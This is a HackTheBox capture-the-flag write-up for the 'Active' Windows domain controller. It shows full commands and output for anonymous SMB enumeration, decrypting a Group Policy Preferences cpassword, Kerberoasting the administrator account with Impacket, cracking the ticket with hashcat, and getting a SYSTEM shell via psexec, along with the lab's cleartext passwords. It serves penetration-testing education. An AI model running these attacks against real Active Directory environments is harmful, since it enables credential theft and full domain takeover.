HackTheBox - Active

HackTheBox - Active

Active is an Active Directory system, it starts off by enumerating an SMB share to find a set of credentials from Group Policy Preferences (GPP). Using that credentials on LDAP reveals that the administrator account has a Service Principal Name attribute of a CIFS service. This leads to a Kerberoasting attack which allows attackers to obtain the password hash of administrator account and crack it. The cracked password is used to login remotely.

Skills Learned

  • Active Directory GPP
  • Kerberoasting


  • Nmap
  • Impacket
  • CrackMapExec



A full TCP scan (after -p- performed) discovers a bunch of open ports. The most notable ports are: 53 (DNS), 88 (Kerberos), 139-445 (SMB/RPC), and 389 (LDAP). According to these open ports, I can assume that this is an Active Directory.

→ kali@kali «active» «» 
$ nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,04915,49169,49172,49180 -sC -sV -oA nmap/10-tcp-allport-script-active
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-10 23:20 EDT
Nmap scan report for
Host is up (0.072s latency).

53/tcp    open   domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-11 03:20:53Z)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds?
464/tcp   open   kpasswd5?
593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
4915/tcp  closed frcs
5722/tcp  open   msrpc         Microsoft Windows RPC
9389/tcp  open   mc-nmf        .NET Message Framing
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open   msrpc         Microsoft Windows RPC
49153/tcp open   msrpc         Microsoft Windows RPC
49154/tcp open   msrpc         Microsoft Windows RPC
49155/tcp open   msrpc         Microsoft Windows RPC
49157/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
49169/tcp open   msrpc         Microsoft Windows RPC
49172/tcp open   msrpc         Microsoft Windows RPC
49180/tcp open   msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2021-07-11T03:21:48
|_  start_date: 2021-07-09T05:18:19

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.11 seconds

nmap identified the domain name as active.htb and the OS version to be Windows Server 2008, which most likely vulnerable to ZeroLogon (CVE-2020-1472) and PrintNightmare (CVE-2021-1675/CVE-2021-34527). But, I will consider these vulnerabilities as alternative methods and put them in separate post (Update! see PrintNightmare).


TCP 53 - DNS

There is no zone transfer in this machine.

→ kali@kali «active» «» 
$ dig axfr @

; <<>> DiG 9.16.15-Debian <<>> axfr @
; (1 server found)
;; global options: +cmd
; Transfer failed.

TCP 139,445 - SMB

smbmap identifies that anonymous logon is allowed and it has read access on Replication share.

→ kali@kali «active» «» 
$ smbmap -u '' -p '' -H
[+] IP:        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 
        Users                                                   NO ACCESS

Replication Share

The Replication share contains a lot of folders. I will download them all recursively.

→ kali@kali «active» «» 
$ smbclient -N //
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  active.htb                          D        0  Sat Jul 21 06:37:44 2018

                10459647 blocks of size 4096. 5722238 blocks available
smb: \> recurse on
smb: \> prompt of
smb: \> mget * 
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

The only interesting file there is the Groups.xml.

→ kali@kali «active.htb» «» 
$ find . -type f -iname groups.xml                                                                            

This groups.xml contains a cpassword of user active.htb\SVC_TGS. I will note this password.

→ kali@kali «active.htb» «» 
$ cat ./Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>

TCP 389 - LDAP

There is nothing much I can do in LDAP.

→ kali@kali «active.htb» «»  
$ ldapsearch -LLL -x -h -s base namingContexts 
namingContexts: DC=active,DC=htb
namingContexts: CN=Configuration,DC=active,DC=htb
namingContexts: CN=Schema,CN=Configuration,DC=active,DC=htb
namingContexts: DC=DomainDnsZones,DC=active,DC=htb
namingContexts: DC=ForestDnsZones,DC=active,DC=htb
→ kali@kali «active» «» 
$ ldapsearch -LLL -x -h -b "dc=active,dc=htb" 
Operations error (1)
Additional information: 000004DC: LdapErr: DSID-0C09075A, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v1db1


Access as SVC_TGS

Group Policy Preferences (GPP) - Password Decrypt

In Windows Server 2008, Microsoft introduced a feature called Group Policy Preferences. This feature allows various Windows configurations/settings, including changing local administrator passwords, to be distributed to domain-joined computers through Group Policy.

When a GPP is created, it also creates an associated XML file in SYSVOL share. Some of the XML files may contains a set of credentials encrypted with AES-256. However, Microsoft published the encryption key and that key can be used to decrypt the password (cpassword) in the XML file.

Kali comes with a tool called gpp-decrypt, and this tool can be used to decrypt the cpassword I obtained from the Groups.xml file.

→ kali@kali «active.htb» «» 
$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ          

Users Share

CrackMapExec confirms that the credentials (SVC_TGS:GPPstillStandingStrong2k18) are valid. I have read access now on the three other shares.

→ kali@kali «active» «» 
$ crackmapexec smb active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 
SMB    445    DC               [+] Enumerated shares
SMB    445    DC               Share           Permissions     Remark
SMB    445    DC               -----           -----------     ------
SMB    445    DC               ADMIN$                          Remote Admin
SMB    445    DC               C$                              Default share
SMB    445    DC               IPC$                            Remote IPC
SMB    445    DC               NETLOGON        READ            Logon server share 
SMB    445    DC               Replication     READ            
SMB    445    DC               SYSVOL          READ            Logon server share 
SMB    445    DC               Users           READ  

Looking into the Users share, I’m sure this share is C:\Users\

→ kali@kali «active.htb» «» 
$ smbclient -N // -U 'SVC_TGS%GPPstillStandingStrong2k18'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sat Jul 21 10:39:20 2018
  ..                                 DR        0  Sat Jul 21 10:39:20 2018
  Administrator                       D        0  Mon Jul 16 06:14:21 2018
  All Users                       DHSrn        0  Tue Jul 14 01:06:44 2009
  Default                           DHR        0  Tue Jul 14 02:38:21 2009
  Default User                    DHSrn        0  Tue Jul 14 01:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 00:57:55 2009
  Public                             DR        0  Tue Jul 14 00:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 11:16:32 2018

                10459647 blocks of size 4096. 5722238 blocks available

And there is a user flag in SVC_TGS\Desktop. I can read the flag with more command.

smb: \> ls SVC_TGS\Desktop\
  .                                   D        0  Sat Jul 21 11:14:42 2018
  ..                                  D        0  Sat Jul 21 11:14:42 2018
  user.txt                            A       34  Sat Jul 21 11:06:25 2018

                10459647 blocks of size 4096. 5722238 blocks available
smb: \> more SVC_TGS\Desktop\user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as /tmp/smbmore.uhunaP (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)


Privilege Escalation

Shell as SYSTEM

LDAP - SPN enumeration

With SVC_TGS credentials, I’m able to access the LDAP service. It was found that the administrator has the servicePrincipalName (SPN) attribute set.

→ kali@kali «active» «» 
$ ldapsearch -LLL -x -D 'SVC_TGS@active.htb' -w 'GPPstillStandingStrong2k18' -h -b "dc=active,dc=htb" "(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))" 
dn: CN=Administrator,CN=Users,DC=active,DC=htb

adminCount: 1
accountExpires: 0
logonCount: 34
sAMAccountName: Administrator
sAMAccountType: 805306368
servicePrincipalName: active/CIFS:445
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=active,DC=htb


If a Service Principal Name is registered into a user account, the account is vulnerable to an attack called Kerberoasting. It is an attack against Kerberos to steal a Service Ticket (ST).

The attack is well explained in this blog and this one, but I will try to give an overview using the following image created by David Freimannis. The Kerberoasting attack indicated by a red box starting from step number 3.


Taken from “Vulnerability Assessment of Authentication Methods in a Large-Scale Computer System” by David Freimanis

Using this case, I want to access a CIFS service, so I need to ask the server (KDC) for it. The server will then search for the SPN of the CIFS service, which is active/CIFS:445, and that SPN is registered to the administrator account. Once the SPN is found, the server will issue a TGS (Ticket Granting Service) encrypted with NTLM hash (derived from password) of the administrator account and send that to the requester which is me. Now that I have TGS for the CIFS service, but instead of using (forwarding) this ticket to authenticate to the corresponding service, I keep the ticket and attempt a brute-force attack against it to recover the administrator password.

If the SPN is registered to a computer account, it would be almost impossible to crack the TGS ticket since a computer account password is a random 128 character.

There are several tools out there that can be used to perform a Kerberoasting attack, but I’ll use the one from Impacket called Impacket-GetUserSPNs. The tool captures the ticket and automatically formats it into hashcat crackable format.

→ kali@kali «active» «» 
$ impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip -request-user administrator
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2021-07-14 12:36:18.277545             


TGS Crack

The password of from the obtained TGS can be recovered using hashcat.

$ ./hashcat.exe -m 13100 hashes/svc_tgs.krbhash ../../rockyou.txt -O

It is Ticketmaster1968.


Using the administrator account along with the obtained password, I’m able to get a shell as local system using impacket-psexec.

→ kali@kali «exploits» «» 
$ impacket-psexec active.htb/administrator:'Ticketmaster1968'@
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file olAAJsqj.exe
[*] Opening SVCManager on
[*] Creating service mvjR on
[*] Starting service mvjR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami && ipconfig
nt authority\system

Windows IP Configuration

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . :
   Subnet Mask . . . . . . . . . . . :
   Default Gateway . . . . . . . . . :

Tunnel adapter isatap.{B3FEC2C7-47CA-4014-A441-A3A5CDDC983C}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 

The root flag is done here.

C:\Windows\system32>type \Users\Administrator\Desktop\root.txt